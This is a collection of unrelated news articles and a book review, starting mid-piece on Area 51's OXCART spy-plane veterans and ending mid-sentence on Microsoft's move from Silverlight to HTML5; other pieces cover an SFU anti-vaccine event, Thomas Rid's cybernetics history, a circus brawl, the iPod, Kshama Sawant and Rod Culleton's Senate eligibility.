"They wanted to see if there was anything I'd for-gotten about the events leading up to the crash." The Sodium Pento-thal experience went without a hitch--except for the reaction of his wife, Jane. "Late Sunday, three CIA agents brought me home. One drove my car; the other two carried me inside and laid me down on the couch. I was loopy from the drugs. They handed Jane the car keys and left without saying a word." The only conclusion she could draw was that her husband had gone out and gotten drunk. "Boy, was she mad," says Collins with a chuckle. "We couldn't have told you any of this a year ago," Slater says. "Now we can't tell it to you fast enough." At the time of Collins' accident, CIA pilots had been flying spy planes in and out of Area 51 for eight years, with the express mission of providing the intelligence to prevent nuclear war. Aerial reconnaissance was a major part of the CIA's preemptive efforts, while the rest of America built bomb shelters and hoped for the best. "It wasn't always called Area 51," says Lovick, the physicist who developed stealth technology. His boss, legendary aircraft designer Clarence L. "Kelly" Johnson, called the place Paradise Ranch to entice men to leave their families and "rough it" out in the Nevada desert in the name of science and the fight against the evil empire. "Test pilot Tony LeVier found the place by flying over it," says Lovick. "It was a lake bed called Groom Lake, selected for testing because it was flat and far from anything. It was kept secret because the CIA tested U-2s there." When Frances Gary Powers was shot down over Sverdlovsk, Russia, in 1960, the U-2 program lost its cover. But the CIA already had Lovick and some 200 scientists, engineers and pilots working at Area 51 on the A-12 OXCART, which would outfox Soviet radar using height, stealth and speed. Col. Slater was in the outfit of six pilots who flew OXCART missions during the Vietnam War. Over a Cuban meat and cheese sandwich at the Bahama Breeze restaurant off the Las Vegas Strip, he says, "I was recruited for the Area after working with the CIA's classified Black Cat Squadron, which flew U-2 missions over denied territory in Mainland China. After that, I was told, 'You should come out to Nevada and work on something interesting we're doing out there.' " Even though Slater considers himself a fighter pilot at heart--he flew 84 missions in World War II--the opportunity to work at Area 51 was impossible to pass up. "When I learned about this Mach-3 aircraft called OXCART, it was completely intriguing to me--this idea of flying three times the speed of sound! No one knew a thing about the program. I asked my wife, Barbara, if she wanted to move to Las Vegas, and she said yes. And I said, 'You won't see me but on the weekends,' and she said, 'That's fine!' " At this recollection, Slater laughs heartily. Barbara, dining with us, laughs as well. The two, married for 63 years, are rarely apart today. "We couldn't have told you any of this a year ago," Slater says. "Now we can't tell it to you fast enough." That is because in 2007, the CIA began declassifying the 50-year-old OXCART program. Today, there's a scramble for eyewitnesses to fill in the information gaps. Only a few of the original players are left. Two more of them join me and the Slaters for lunch: Barnes, formerly an Area 51 special-projects engineer, with his wife, Doris; and Martin, one of those overseeing the OXCART's specially mixed jet fuel (regular fuel explodes at extreme height, temperature and speed), with his wife, Mary. Because the men were sworn to secrecy for so many decades, their wives still get a kick out of hearing the secret tales. Barnes was married at 17 (Doris was 16). To support his wife, he became an electronics wizard, buying broken television sets, fixing them up and reselling them for five times the original price. He went from living in bitter poverty on a Texas Panhandle ranch with no electricity to buying his new bride a dream home before he was old enough to vote. As a soldier in the Korean War, Barnes demonstrated an uncanny aptitude for radar and Nike missile systems, which made him a prime target for recruitment by the CIA--which indeed happened when he was 22. By 30, he was handling nuclear secrets. "The agency located each guy at the top of a certain field and put us together for the programs at Area 51," says Barnes. As a security precaution, he couldn't reveal his birth name--he went by the moniker Thunder. Coworkers traveled in separate cars, helicopters and airplanes. Barnes and his group kept to themselves, even in the mess hall. "Our special-projects group was the most classified team since the Manhattan Project," he says. Harry Martin's specialty was fuel. Handpicked by the CIA from the Air Force, he underwent rigorous psychological and physical tests to see if he was up for the job. When he passed, the CIA moved his family to Nevada. Because OXCART had to refuel frequently, the CIA kept supplies at secret facilities around the globe. Martin often traveled to these bases for quality-control checks. He tells of preparing for a top-secret mission from Area 51 to Thule, Greenland. "My wife took one look at me in these arctic boots and this big hooded coat, and she knew not to ask where I was going." So, what of those urban legends--the UFOs studied in secret, the underground tunnels connecting clandestine facilities? For decades, the men at Area 51 thought they'd take their secrets to the grave. At the height of the Cold War, they cultivated anonymity while pursuing some of the country's most covert projects. Conspiracy theories were left to popular imagination. But in talking with Collins, Lovick, Slater, Barnes and Martin, it is clear that much of the folklore was spun from threads of fact. .. As for the myths of reverse engineering of flying saucers, Barnes offers some insight: "We did reverse engineer a lot of foreign technology, including the Soviet MiG fighter jet out at the Area"--even though the MiG wasn't shaped like a flying saucer. As for the underground-tunnel talk, that, too, was born of truth. Barnes worked on a nuclear-rocket program called Project NERVA, inside underground chambers at Jackass Flats, in Area 51's backyard. "Three test-cell facilities were connected by railroad, but everything else was underground," he says. And the quintessential Area 51 conspiracy--that the Pentagon keeps captured alien spacecraft there, which they fly around in restricted airspace? Turns out that one's pretty easy to debunk. The shape of OXCART was unprece-dented, with its wide, disk-like fuselage designed to carry vast quantities of fuel. Commercial pilots cruising over Nevada at dusk would look up and see the bottom of OXCART whiz by at 2,000-plus mph. The aircraft's tita-nium body, moving as fast as a bullet, would reflect the sun's rays in a way that could make anyone think, UFO. In all, 2,850 OXCART test flights were flown out of Area 51 while Slater was in charge. "That's a lot of UFO sightings!" Slater adds. Commercial pilots would report them to the FAA, and "when they'd land in California, they'd be met by FBI agents who'd make them sign nondisclosure forms." But not everyone kept quiet, hence the birth of Area 51's UFO lore. The sightings incited uproar in Nevada and the surrounding areas and forced the Air Force to open Project BLUE BOOK to log each claim. Since only a few Air Force officials were cleared for OXCART (even though it was a joint CIA/USAF project), many UFO sightings raised internal military alarms. Some generals believed the Russians might be sending stealth craft over American skies to incite paranoia and create widespread panic of alien invasion. Today, BLUE BOOK findings are housed in 37 cubic feet of case files at the National Archives--74,000 pages of reports. A keyword search brings up no mention of the top-secret OXCART or Area 51. Project BLUE BOOK was shut down in 1969--more than a year after OXCART was retired. But what continues at America's most clandestine military facility could take another 40 years to disclose. ANNIE JACOBSEN is an investigative reporter who sat for more than 500 interviews after she broke the story on terrorists probing commercial airliners. When she isn't digging into intelligence issues for the likes of the National Review, she's snapping together Legos with her two boys. SOURCE: Annie Jacobson for the LA Times
-CTV British Columbia  Simon Fraser University is being condemned by its own faculty members for renting space to a controversial anti-vaccine conference they describe as a dangerous source of misinformation.  The Vaccine Resistance Movement’s 2013 summit, billed as a “transparent discussion” among doctors and researchers, is being held Tuesday night at SFU’s Harbour Centre campus in downtown Vancouver. The motto: “The only shot you need is the truth.”  But SFU’s dean of health services, John O’Neil, warned the event merely propagates misguided and anti-scientific views on vaccination while downplaying the proven life-saving benefits.  He told CTV News he fears the university has lent legitimacy to the cause by accepting organizers’ money.  “They could have rented anywhere in the city, but they chose SFU Harbour Centre because it gives them credibility in the public eye,” O’Neil said.  SFU’s Faculty of Health Sciences has issued a statement disavowing itself from Tuesday’s event and apologizing for what it describes as an inappropriate use of university facilities.  Members of the Vaccine Resistance Movement question the safety of vaccines, suggesting they are the cause of autism and numerous other disabilities – a claim health care professionals have contested for years.  “It’s a one-sided perspective on risks that have been shown scientifically time and again simply do not exist,” O’Neil said. “There is no connection between vaccines and autism.”  The VRM also argues the pressure to vaccinate comes from a “vaccine lobby” and “big government,” according to its website.  Health professionals say vaccines are an essential tool to stop the spread of easily-preventable diseases such as influenza, pertussis and meningitis, which can be fatal to children.  But doctors worry widespread misinformation on the Internet has left many parents uneasy about vaccinations – parents like Chanelle MacIntyre, a mother-of-two who is attending the Vaccine Resistance Movement’s summit in hopes of learning as much as she can to protect her children.  “I’m just in this decision-making process right now. You feel you’re damned if you do and damned if you don’t,” MacIntyre told CTV News.  SFU president Andrew Petter defended the decision to rent space for the event Tuesday, and denied that the transaction implies any association between the university and the anti-vaccination crowd.  He also stated his personal view that the movement is “contrary to public health.”  “Its views are wrong and they should be disregarded, but I think the best way to expose them is to challenge those views, not the university,” Petter said.  With a report from CTV British Columbia’s Shannon Paterson
-Thomas Rid, Rise of the Machines: A Cybernetic History (W.W. Norton, 2016).  Alexander the Great had Bucephalus, from whose back he could survey his phalanxes. Frederick the Great typically sought out the vantage point of a tall hill. A forward commander in World War I had a sandbagged trench bunker, a periscope, and a hand-cranked telephone. And the Cold War had its iconic blue room.  You’ve seen its rendition in films like Dr. Strangelove and War Games: a cavernous space, giant glass-mounted world maps and cobalt-tinted screens animated by data glowing amid the gloom. Look a little closer though at the actual historical antecedent to the movie sets: the hulking AN/FSQ-7 terminal that was the cornerstone of the SAGE air-defense system, with its distinctive circular display. Next to the holster for the space-age light-gun that was used like a modern day mouse was a cigarette lighter and an ashtray, both built right into the console. They are quaintly amusing design details — and markers of a moment captured in a very different milieu by Mad Men — but they also represent a telling concession to the need for artificial stimulation (nicotine) coursing through the biological circuitry of the human operator who was expected to sit and service the terminal for hours on end.  SAGE’s blue room, with its high-tech systems for communication and control of the atomic battlespace, is a quintessential artifact of cybernetics, the loose, messy social philosophy and engineering paradigm that King’s College War Studies professor Thomas Rid presents in his ambitious new book. The cigarette lighter and the ashtray are the irreducible material signature of cybernetics; mute reminders that we have met the machines and they are us.  Nicotine addiction, in fact, can be understood precisely in terms of cybernetic precepts such as feedback and homeostasis: as the body’s natural chemical balance changes due to substance dependency, psychopharmacological routines kick in to trigger the demand for the drug to return it to a state of normality. This is much the same way that the thermostat in your home regulates the temperature. Crucially, the more one smokes, the greater the cravings (positive feedback in the parlance of cybernetics), and thus ever increasing levels of what cybernetics would term negative feedback are required to bring the body back into temporary balance, or homeostasis.  Cybernetic concepts have become so well absorbed that they seem like laws of nature or biological givens, yet, as Rid is concerned to show, cybernetics has a tangled and curious history. It was the byproduct of a shifting set of intellectual alliances and bedfellows, not to mention ferocious scientific debates. It was also a subject of immense popular interest, with monographs like Norbert Wiener’s foundational Cybernetics or Control and Communication in the Animal and the Machine (1949) becoming improbable bestsellers. Indeed, by the late 1960s, cybernetics had undergone a kind of cultural transfusion, not only the stuff of military command, control, communications and intelligence, but also woven into the lines of Richard Brautigan’s hippie poetry (“machines of loving grace”) and assimilated by architects of the social revolution like Buckminster Fuller and Stewart Brand. “Cybernetics promised to guide stray missiles to targets and lost minds to exaltation,” as Rid puts it pithily.  Cybernetics wasn’t just a universal theory of machines, then; it became — sometimes over the protestations of its founders — a universal theory of, well, everything. If mechanical systems could be understood in terms of feedback and equilibrium, why not the human brain? And if the brain was a closed, computable system, then so too was the rest of nature, culture, society; all of life, in fact. In its relentless insistence that nothing under the sun was beyond the scope of systems engineering, cybernetics found itself in direct contention with the other great 20th century philosophy of mind, psychoanalysis. But where Jung and Freud saw the mind as a vast unknown, its secrets sometimes seeping through in dreams or mythopoeic archetypes, cybernetics saw only inputs, outputs, and circuits, all subject to command — and control.  The key actor in Rise of Machines, at least in its early chapters, is Norbert Wiener, the MIT professor and mathematician who coined the term cybernetics and was responsible for its promulgation (after the Greek κυβερνήτης, or “steersman”). Rid treats his protagonist with sometimes inexplicable disdain, even outright contempt: he is not just an “MIT professor” (itself repeated often enough to become an epithet), he is also (variously) “a proud professor,” “a hapless professor,” “publicity hungry,” “diffuse and incomprehensible,” and “eccentric.” Wiener himself, it must be said, looked the part: short and pudgy with a round face, white hair and beard, and thick black-rimmed glasses. But Rid misses no opportunity to portray him as impractical, alarmist, and out of his depth. One early anecdote has Wiener and his junior colleague Julian Bigelow fumbling around Fort Monroe, looking to further their research, until the authorities arrive to escort them off.  For all of this, however, we never really get a flesh and blood portrait of Wiener, and the man remains something of a cipher throughout. Was he a nutty professor or a visionary and humanitarian? An innovator or a failed academic? Portrayed more sympathetically is Ross Ashby, the British psychiatrist responsible for introducing the public to the world’s “first thinking machine” (it was a black box designed and engineered to do exactly nothing, that is to maintain a perpetual state of homeostasis). Alice Mary Hilton, meanwhile, a rare female voice from the period who wrote rhapsodically of “cyberculture” in the early 1960s — “In an era of cyberculture, all the plows pull themselves and the fried chickens fly right onto the plates” — is depicted by Rid gluttonously explaining her ideas to The New Yorker around mouthfuls of “a handmade ham sandwich.”  Others who come and go — John von Neumann, Gregory Bateson, Stewart Brand, Timothy Leary, Jaron Lanier, even Deputy Secretary of Defense John Hamre, to name just a few (the ensemble cast is almost all male, with the exception of Hilton and a brief cameo from Donna Haraway) — fair little better, generally drawn as either over-eager science brats or California dreamers. Along the way we visit hippie communes in Big Sur, dial-in to the online discussion boards of the WELL, eavesdrop on cypherpunk enclaves, and don virtual reality headgear. Eventually Rid takes us back inside the green machine — the military, specifically the U.S. Department of Defense, aligning the precepts of the AirLand Battle that was supposed to defeat Warsaw Pact tank armies in the 1980s and the post-Desert Storm revolution of military affairs with cybernetic arts of war. But the real battlefield is inner space — which is to say, cyberspace. The climax of the book is its discussion of the complex of public fears around an Electronic Pearl Harbor (the language is Hamre’s), a phrase whose staying power Rid sees as evidence of the machines at their apogee. And with this ascent comes one final, remarkable story.  Rid’s account of the hack (or if you prefer, cyberattack) dubbed Moonlight Maze is the single most extensively researched episode in the book. He takes us much deeper than Fred Kaplan in his corresponding account of the same events in Dark Territory (2016). Moonlight Maze goes down in history as the first known instance of state-on-state cyberwar, netting the black hats a cache of sensitive documents estimated as high as the Washington Monument. The anonymous agents who responded to the massive network intrusion apparently originating inside Russia in 1998 are some of the few figures Rid seems to treat with genuine sympathy and admiration. It’s a brilliant set-piece, and without too much in the way of spoilers let me say that Rid appears to suggest that the whole scheme is undone by a loose-lipped Russian General — though these are not loose lips of the sink ships variety. The machines are finally compromised by the foibles of human flesh.  • • •  Rise of the Machines is a sweeping intellectual history, engagingly written and brought to life by numerous details and anecdotes. Cybernetics and its progression of offshoots — cybernation, cyberculture, cyborgs, cyberspace, cyberpunk, cypherpunk, and finally cyberwar — are all disentangled and demystified in its pages. Rid is an able explainer of gnarly technical concepts, and a reader can reasonably expect to come away with a working understanding of, say, variable time fuses, in what is compellingly described as the first robotic war as British air defenses — aided by truck-mounted SCR-584 radar-directed fire control — used their smart munitions to shoot down Nazi Germany’s pilotless V-1 attack rockets.  Perhaps the book’s greatest success is in the way in which it injects this techno-history deep into the fabric of normality that structures contemporary life: It’s not just Predator drones that are the inheritors of the robots’ confrontation high above the English Channel, it’s also the pilot at the controls of our Airbus A380, one component among many in the feedback and control loops keeping the aircraft aloft; or ourselves, smart phone in hand, unselfconsciously tapping back into the invisible networks that surround us as we deplane. Your avatar is as much a cybernetic shell as the cockpit is for the crew, both airspace and cyberspace equally conducive to transcending the limits of earthly habitus.  Rid is especially good on the interface between weird science and popular culture, giving us everything from Arthur C. Clarke quoting Wiener in the pages of Playboy to a spread in Life magazine with a pinup model luxuriating in the mechanical arms of General Electric’s 80-ton “Electric Beetle,” a device manufactured at the same upstate New York factory that (as it happens) Kurt Vonnegut visited to write his breakthrough first novel, Player Piano (1952), set in a dystopian mechanized society extrapolated from then-current trends in workplace automation. This is not art imitating life so much as strange loops of attraction and repulsion, running from Karel Čapek’s R.U.R. (the 1920 Czech play that bequeathed us the word robot) to, of course, The Terminator, the blockbuster franchise whose third installment gives the book its title. (Rid deliciously quotes Manfred Clynes, the researcher who created the term cyborg: “Schwarzenegger playing this,” Clynes said unironically, “dehumanized the concept completely.”)  The story of cyberspace — by which one might mean anything from the Internet to the singularity of science fiction authors like Vernor Vinge — is too-often fashioned as the triumph of the hideous progeny of the military-industrial complex. (Everyone knows that the Internet was invented to help the U.S. government survive a nuclear war, right?) Rid reminds us that these origin stories (and mythologies) are complex, and while he gives the military origins of cybernetics its due, he is equally at home in the arts, literature, and trends in pop culture. This is another of the book’s virtues, and what commends it to an audience who may be overly familiar with only one side of the story.  And yet, for all of his range and richness, Rid overstates the novelty of his analysis. He begins by painting himself as a dupe of the commonplace that the prefix cyber was invented by novelist William Gibson in Neuromancer (1984). Unable to accept that a sci-fi “fantasy” about a “drug addict” was responsible for the word’s omnipresence today, Rid (in his own words) “. . . started digging. Rise of the Machines was what I found.” But of course the story of cybernetics — and our collective fascination with intelligent machines more generally — is not some buried colossus awaiting just the right shovel. Wiener and cybernetics, as well as mechanical fire control, MIT’s Lincoln Laboratory, Sperry, SAGE, the Macy Conferences, self-reproducing automata, The Whole Earth Catalog, Brautigan’s “Machines of Loving Grace,” osmotic pumps in rats, virtual communities, and techno-feminist science fiction have all been treated extensively in prior work by authorities as diverse as Paul N. Edwards, Manuel DeLanda, Anne Balsamo, N. Katherine Hayles, David A. Mindell, Wendy Hui Kyong Chun, and Sharon Ghamari-Tabrizi to name just a few, and especially Fred Turner, whose itinerary in From Counterculture to Cyberculture (2006) Rid follows closely in key sections of the book.  Rid, however, takes a longer view of the subject than just about any of them, determined to present cybernetics not just as technological or intellectual or social history, but as a kind of master narrative — a mythos — for the 20th century and beyond. The book is ultimately about closing the loop. Rise of the Machines, in other words, reads military, cultural, and technological history cybernetically. The game is given away in the closing pages, where Rid overtly invokes the language of cybernetics to capture the anxieties and ambitions that coexisted uneasily at the human-machine interface: “The machines were always a positive and negative force at the same time, utopian and dystopian at once, although most of the time optimism dominated” [emphasis mine]. This dualism — or again, feedback loop — is the basic structuring device of the narrative. Rid turns to it over and over again, as when, to take just one example, he notes that the same model of mainframe computer powered both Stewart Brand’s legendary online community the WELL and Minuteman missile consoles, the only difference being that the former was housed in a handcrafted wooden cabinet.  Cybernetics, from Wiener’s initial attempts at flight prediction to our fantasies of virtual reality, is marked more often by its failures than its successes, Rid suggests. (When the future finally arrived it looked more like LOLcats and tweets than William Gibson’s “fluid neon origami trick.”) But if the real danger is not the machines taking over but the myth of the machines taking over, one might ask whether the book finally succeeds in escaping the logics of the very histories it seeks so thoroughly to explore. Rise of the Machines builds its narrative through eight main chapters that are organized thematically — Automation, Organisms, Culture, Space, and so on. The last of these is given over to War, and one can’t help but sense some prophecy in that sequencing. Or perhaps it’s still only a secular teleology. Can humans — and machines — change our interconnected fates? We better hope so.  Matthew Kirschenbaum is Professor of English at the University of Maryland. He is the author most recently of Track Changes: A Literary History of Word Processing (Harvard University Press, 2016) and is co-editor of Zones of Control: Perspectives on Wargaming (MIT Press, 2016). A 2011 Guggenheim Fellow, Kirschenbaum has previously written on computer forensics, new media, and digital humanities.
-Clowns brawled with animal rights protesters under a circus big top in San Bernardino on the night of Friday Apr. 17, 2015 (Published Monday, April 20, 2015)  Clowns brawled with animal rights protesters under a circus big top in San Bernardino Friday night.  Hundreds of spectators watched the fight break out when workers allegedly tried to stop the activists from forcing their way inside after the Ramos Bros. Circus show began.  Two protestors were arrested following the melee, while two circus employees were injured when the fight broke out at 8:08 p.m., according to a San Bernardino Police Department spokesman.  Ringmaster Oliver Ramos claimed his lip was split after he was hit on the face with his megaphone in trying to keep protestors outside.  "All of a sudden when I turned around one of them jumped on top of my uncle - he's over 68-years-old - and they started beating on him and I reacted," Ramos said. "When I pulled them off they hit me with a megaphone in the face and all these ladies started scratching me on the face."  However protester Nicholas Shaw-McMinn claimed they were protesting non-violently, and that protesters were the ones attacked by the circus workers.  "Employees locked us on the property and wouldn't let us leave. They assaulted... multiple protestors, some with weapons," Shaw-McMinn said.  He also claimed one of the workers placed him in a choke hold during the clash.  The activists, who said they are members of the Direct Action Everywhere group, provided video which showed them protesting outside the big top before the melee.  The Ramos Bros. Circus website boasts that the show features "animals from all over the world," showing images of lamas, camels and horses.  Ramos said he does not mind activists protesting on the street but wants them to stay off the property where the circus is performing. He also believes something has to be done to prevent further clashes occurring  "These people are just crazy fanatics… it has to stop. These people are getting out of hand," Ramos said.  However it seems they will not be staying away, as more than 100 protesters are expected to show up for more demonstrations taking place Saturday.  The "Protest Ramos Bros. Circus" Facebook page says: "Traveling animal acts perpetuate animal cruelty, inhumane care, public safety hazards and distorted images of wildlife.  "As compassionate animal lovers we must stop animal entertainment and extend our love to all animals. Animals are not our (sic) to use, they are not our property; they are beings that desire the same freedoms as us."  It also claims circus animals are trained using methods such as whipping, hitting, poking, and shocking with electrical prods.
-The iPod has been retired from Apple’s homepage, in a move that could mean the much-loved music device is set to be retired.  The device has sat at the top of the company’s site for over 13 years, and going through various iterations like the iPods Classic, Shuffle and Touch. But it has been taken down from that top banner, and hidden in a special “music” part of the site, after the company's big Worldwide Developers Conference event.  All of the well-known models apart from the Classic are still available, but Apple makes it difficult to find them from its home page. The Classic was retired late last year amid upset from fans, with Apple blaming difficulty finding the parts after years of declining sales. The rush to get hold of one led to people buying them online at vastly-inflated prices.  Join Independent Minds For exclusive articles, events and an advertising-free read for just £5.99 €6.99 $9.99 a month Get the best of The Independent With an Independent Minds subscription for just £5.99 €6.99 $9.99 a month Get the best of The Independent Without the ads – for just £5.99 €6.99 $9.99 a month  The iPod was once Apple’s flagship product — and has been credited with the resurgence of the company — but the only way to find it from the homepage is to go to the Music tab and scroll down. The main function of the Music tab is to show off the newly-released Apple Music, and users have to almost to the very bottom of the page to find it.  From there, users can click onto the devoted iPod site, which advertises the still-available iPods Touch, Nano and Shuffle. The Apple TV — set to be updated at the recent WWDC event, but pulled after it was found not to be ready — can be found on the same page.  Apple tends to retire each version of the iPod quietly, letting it lag behind in updates and devoting less marketing time to it until it disappears without ceremony. That was the same fate that met the iPod Classic, last year, and so it’s possible that the iPods are being gradually removed.  That could partly be because after the launch of the streaming service Apple Music, Apple’s focus is now on sending music over the internet rather than storing it on the iPod personal media players. Only the iPod Touch can connect to the internet at all, and it must do that using wifi so can’t do it away from known home and business networks.  Earlier this year, rumours swirled about the death of the iPod Shuffle, after stock ran low in stores. But it is still available to buy on Apple's website, for now.
-In 2013, Kshama Sawant became the first socialist elected to a major city council in decades. Among her accomplishments in office, she helped make a $15 an hour minimum wage in Seattle a reality in 2015, catalyzing it into a mainstream idea in American politics.  Since Bernie Sanders’ 2016 Presidential Campaign, Democratic Socialism has surged in popular as an antidote to far right and corporate establishment politics. While the Democratic Party experienced recent electoral wins this November in Virginia, New Jersey and across the country, included in that blue wave were 21 Democratic Socialists of America members or endorsed candidates.  “Within the Democratic Party, people are not just passively saying, ‘Well, anybody but Trump.’ People are clearly rejecting corporate politics as well as Trump himself and right wing politics,” said Seattle City Council Member Kshama Sawant in an interview. “There’s a real battle within the Democratic Party going on between corporate politics, Wall Street dominated politics of Pelosi and Schumer, and the millions in the grassroots, people who supported Bernie Sanders and were really energized by his message of a political revolution against the billionaire class. Just because Bernie is not running himself, or because it’s not the presidential election year doesn’t mean that the ideas that he energized have gone away.”  That energy is most evident among young people. Sanders won more voters under 30 across all demographics than Clinton and Trump combined during the primaries. A Harvard-Harris poll conducted in October 2017 found that 69 percent of Democrats ages 18 to 34 favored moving the party further left. The failures of neoliberalism and the Democratic Party establishment’s ties to wealthy donors over the working class are pushing voters to favor progressive solutions that challenge these power structures.  “Now that the DSA and Our Revolution have got their candidates elected, I think the question is, what kind of policy program will these elected officials at different levels put forward? What kind of work will they do?” she said. “The reason I am fighting and I have fulfilled every promise that I made on the campaign trail is because I’m part of an organization, Socialist Alternative, that is tied to social movements, tied to the working class and holds me accountable. What are the structures similar to Socialist Alternative? What are the structures that can be used to hold these other candidates who have won, accountable?”  Rather than simply pushing the Democratic Party further left, many young voters are turning to socialism as a solution to the problems rampant in today’s hyper-capitalist society. The Democratic Socialists of America reached over 30,000 members in October 2017, and recent election victories of members and endorsed candidates are reflective of this surge in popularity.  “I think that will be one of the key questions in the next several years, not just next year but for the rest of their first term,” she said of trying to push the Democrats leftward. “The vast majority of people who voted for Trump are working class people who wanted to register a protest against corporate politics. What it shows, really more than anything else, is the absence of a real alternative to corporate politics. If Bernie Sanders had been the candidate who was running against Trump, he would have presented a real left wing alternative, a real progressive, humane, and sane alternative to what people are looking for. Instead, Trump, because he’s a con man, he got to pose as somebody who would as he said, ‘Remember the forgotten men and women,’ but obviously not.”  She cites the Republican tax reform package as “the antithesis of anything good for the working class,” likening it to a wish-list for the wealthy. And yet, she says, because Hillary Clinton didn’t offer an alternative to corporate politics, working people voted for him. “What Trump took advantage of was the complete vacuum that exists on the left. He ran as an alternative, as an outsider to Hillary Clinton,” she said. “The reason he succeeded was because there’s such a deep hatred of corporate politics.”  And yet, the Democratic Party’s answer seems to be more of the same. And, according to Sewant, this dynamic isn’t confined to national politics. “You see the same power structures being replicated,” she said. “In Seattle, we didn’t win a $15 minimum because the Seattle city council is all Democrat. No, we won it despite the fact that all the politicians here are Democrats, because most of them are corporate Democrats and they did not support $15 an hour, but we won it despite them because we built a strong social movement,” she said.  Sawant says that building social movements on the left will invigorate the Democratic Party—and not the other way around.  “As a socialist, I feel more optimistic today than I would have in years past because people are moving more to left and not to the right. People are questioning the status quo, people are angry at corporate politics. There’s a small current of real right wing ideology and that’s horrific. We should not pretend it doesn’t exist, but that does not describe the vast majority of people who voted for Trump,” said Sawant.
-Senator receives support from Bob Katter but hearings to test Bob Day’s eligibility won’t occur until new year  Rodney Culleton’s eligibility to sit in the Senate will be heard by the high court in December but hearings to test Bob Day’s eligibility and the method to replace him will not occur until the new year.  At a directions hearing at the high court in Canberra on Monday, Culleton received support from two unlikely quarters: with a show of support outside the court from Bob Katter, and the prospect that the attorney general, George Brandis, will appoint counsel to defend Culleton’s eligibility or offer legal aid for him to get his own lawyer.  Katter revealed a third party had asked Culleton to join the Katter Australia party, which both had rejected, but Katter left the door open to take him on board if One Nation “ratted” on him.  Rod Culleton says he won't attend high court hearing on his Senate eligibility Read more  Culleton’s case turns on whether a conviction for larceny, since annulled, rendered him ineligible because the conviction stood at the time of his election to the Senate.  Culleton, who represented himself, used the hearing before chief justice Robert French to criticise Brandis, accusing the attorney general of “grabbing a sow’s ear to make a silk purse” by referring his eligibility to the court despite defects in the original case brought against him by Bruce Bell.  The One Nation senator asked for the case to be put off “well into next year” in order for him to get counsel or put his own case together.  “I need to rehydrate my piggy bank financially,” he said. “This case will take substantial time – I don’t have the artillery of the attorney general.”  Culleton said he wanted time to prepare “so that I’m not swatted because I can’t get prepared”.  French acknowledged the public interest in clarifying whether the subsequent annulment of a conviction meant a parliamentarian was eligible for election. The chief justice ordered the attorney general to file written submissions by 25 November.  If Culleton had not appointed legal representation by then, the commonwealth should appoint an independent barrister to run arguments for Culleton’s eligibility as an amicus curiae, allowing Culleton to continue to represent himself separately.  Culleton criticised that approach, likening it to “sleeping with the enemy” to have the attorney general to appoint a lawyer to argue against the commonwealth. But he expressed concern at picking his own lawyer, explaining the difficulty would be “trying to find a senior counsel that loves One Nation”.  Counsel for the attorney general revealed Culleton had recently made a request for legal aid and French advised him to quickly resolve whether it could and would be given.  French ordered the case go before the full court in the December sitting, which could be as early as 7 or 8 December. He said the case could be dealt with quickly as it concerned the narrow constitutional point of the effect of the annulment and whether it operated retrospectively.  Hanson brushes off complaints her staffer threw phone at Rod Culleton aide Read more  Culleton disputed the orders, telling the court they were not procedurally fair, imposed a “massive workload” on him, foreshadowing an appeal to the full court of the high court.  Culleton disputed the circumstances of his conviction for larceny, telling the court the truck key he had allegedly stolen in a dispute with a repossession agent had been “lost in a hug” and he had only been convicted in absentia because he was unable to attend court.  Culleton said he “didn’t want to be convicted of a crime” and told reporters he intended to ask for a jury trial but he was corrected by French, who said he was not being accused of a crime.  Appearing outside the court, Katter claimed the case set a bad precedent, as misplacing a key was not a crime and Culleton had not been declared bankrupt or insolvent, the other basis of Bell’s challenge.  Katter accused the One Nation leader, Pauline Hanson, of failing to support Culleton by agreeing to the referral of his eligibility to the high court. Katter also criticised her for not supporting his proposal for a bank royal commission and backing two government bills he called an “attack on trade unionism”, which Culleton opposes.  Katter said he wished Hanson would show support for Culleton but he was “certain Hanson would come back to the fold”.  “I’m not, like everybody else, abandoning Culleton,” Katter said. “No, I’m going to stand right beside him with as much aggression as I can possibly show.”  Katter revealed a third party, without his knowledge, had approached Culleton to ask him to jump ship to the Katter Australia party but was rejected.  “I said at the time we don’t take rats ... and I know Culleton and he ain’t a rat, so he won’t come anyway,” Katter said. “[Culleton] is not a rat, his party has ratted on him, it would appear, and I said that at the time ... If it turns out that he hasn’t ratted but he’s been ratted on, that’s a horse of a different colour.”  Asked about his future in One Nation, Culleton said: “Well I had a shave this morning and you don’t see any whiskers – I’m not a rat, I wouldn’t want to be a rat and don’t ever refer that I would be a rat.  Pauline Hanson agrees Rod Culleton's eligibility case should go to high court Read more  “I’m One Nation at the moment ... I’ll serve my term with One Nation.  “If I was to go it wouldn’t be my choice, I’ll leave it to others.”  French stood over Bell’s challenge against Culleton until after the court dealt with the Senate referral on Culleton’s eligibility.  In the Day matter, French ordered parties to agree on a set of facts by 22 December or a single justice would hold a hearing on factual disputes. The matter will return to the court of disputed returns in 2017.  A spokesman for Hanson told Guardian Australia that Katter should “stay out of it”.  He said One Nation had supported the referral because “accountability is everything our party stands on” but Hanson and the party were “extraordinarily supportive” of Culleton.  He refuted Katter’s contention the party had not supported calls for a bank royal commission and said that was party policy even before Culleton’s candidacy.
-For reasons that are not immediately clear to me, it seems that a lot of developers who attended Microsoft's recent PDC event were surprised to hear that the company now sees HTML5 as the way forward for developing rich Internet applications—and not, as they had been expecting, Silverlight. Their surprise surprises me, because past statements by the company had already made this repositioning obvious, though perhaps not explicit.  When Silverlight was introduced in 2007, it was positioned as a kind of alternative to Adobe Flash. Though Silverlight and Flash have their differences—Silverlight's approach is a bit more programmer-oriented, Flash's a little more designer/artist-oriented—they were broadly aimed at the same market: complex, interactive content, delivered through the Web browser.  As such, a naive observer might have expected Silverlight to be more prominent at PDC. During the keynote presentation, however, it received nary a mention. Mary-Jo Foley talked to Bob Muglia, president of Microsoft's Server and Tools division, and was told that Microsoft's strategy has shifted. HTML5 is now the solution for these same rich Web applications.  After the ZDNet story was published, both Bob Muglia and Microsoft CEO Steve Ballmer wrote to "clarify" Microsoft's position. Fundamentally, though, it was as reported: Silverlight is still important, but no longer the premier option for Web development. The focus has shifted.  Cue much wailing and gnashing of teeth. It's understandable in a sense—if you're a design agency or developer who's made your living from building Silverlight applications, the last thing you want to hear is that the company backing Silverlight is ditching it in favor of something else—but surprising nonetheless: it's been clear from Microsoft's recent actions that HTML5 is the priority, and over the past few months, the company has as good as said so already.  This should be news to nobody  The development of Internet Explorer 9 should have been a wake-up call to Silverlight developers. Throughout Internet Explorer 9's development, Microsoft has been shouting about HTML5 and Web standards. Really, it's been hard to miss. The company has made huge strides towards making Internet Explorer 9 a 